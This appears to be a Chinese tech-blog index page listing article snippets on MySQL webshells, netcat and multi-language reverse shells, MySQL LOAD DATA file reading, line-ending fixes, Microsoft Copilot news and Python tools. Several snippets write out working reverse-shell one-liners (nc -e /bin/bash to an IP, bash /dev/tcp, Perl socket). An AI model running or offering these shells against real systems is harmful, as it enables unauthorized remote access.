51工具盒子
小记mysql拿webshell的几种方法
前言 === 随便记录一下笔记,方便查询.最近是想到什么就记什么. 渗透测试mysql ========= 关于如何攻击mysql请直接看这篇\>[Mysql数据库渗透及漏洞利用总结](https://xz.aliyun.com/t/1491)写的很全 拿shell ====== 1前提需要知道网站的真实**物理路径** 2查看是否允许导入导出 ...
软件使用
记执行shell脚本出现^M不存在或者行尾多出%0D的问题
前言 === 刚刚用windows写了个脚本，拿到kali执行发现的问题（还是太垃圾了） 解决 === 用windows系统打开过的文档会被改为dos格式 dos格式：CR LF unix格式：LF 在vim中用\*\*:set ff**查看格式 用** :set ff=unix**和**:set ff=dos\*\*来改变格式
简单使用nc反弹shell
使用 === 正向shell： nc -lvvp 1988 -e /bin/bash nc 10.1.10.2 1988 //攻击鸡 反向shell： nc -e /bin/bash 152.54.56.4 1988 nc -lvvp 1988 //攻击鸡 注...
各种环境反弹shell分享
说明 === 分享一下各种版本的shell写法 bash版本： bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 perl版本: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM...
利用MySQL LOAD DATA来任意文件读取
说明 === 涨姿势的文章日常分享 [通过MySQL LOAD DATA特性来达到任意文件读取](https://xz.aliyun.com/t/3973)
微软在 Microsoft 365 中集成 AI 然后涨价
无论客户是否想要，微软都将其 AI 助手 Copilot 整合到其产品中，提供给客户，然后涨价，让客户为 AI 付费。微软最近将 Copilot 集成到了澳大利亚和东南亚国家的订阅服务 Microsoft 365 中，随后提高了订阅价格。用户抱怨 Copilot 就像微软 1990 年代饱受非议的 Clippy 助手一样惹人厌，澳大利亚用户还发现 Microsoft 365 的...
微软正尝试 AI 模型多元化在 Microsoft 365 Copilot 引入其它公司的模型
OpenAI 的最大投资者和盟友微软正致力于为其 AI 产品 Microsoft 365 Copilot 引入其它公司的 AI 模型，以实现多元化并降低成本，同时减少对 OpenAI 的依赖。微软发言人对此回应称，OpenAI 仍然是该公司在前沿模型（Frontier Models）上的合作伙伴。微软表示它根据产品和体验整合来自 OpenAI 和微软的各种模型。微软旗下的代码托...
CPython逆向实战分析
Python代码转换为C代码的时候，将会大大增加框架代码量。 [基础教程 \| Cython 官方文档中文版(gitbooks.io)](https://moonlet.gitbooks.io/cython-document-zh_cn/content/ch1-basic_tutorial.html) 1、正向py-\>c ---------- 先有正向，再有逆向 ...
pythonstock开源股票系统
pythonstock开源股票系统 [pythonstock开源股票系统（1）：概要介绍/说明，使用docker-compose本地运行启动，初始化数据库，可以进行web展示_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV1hg4y1U7ze/?spm_id_from=333.999.0.0&vd_source=afc...
Python 数据科学速查表 机器学习大数据分析必备
前言 === 今日逛github发现DataCamp 推出的 Python 数据科学速查表的中文版，特来分享。 简直不要太香。 
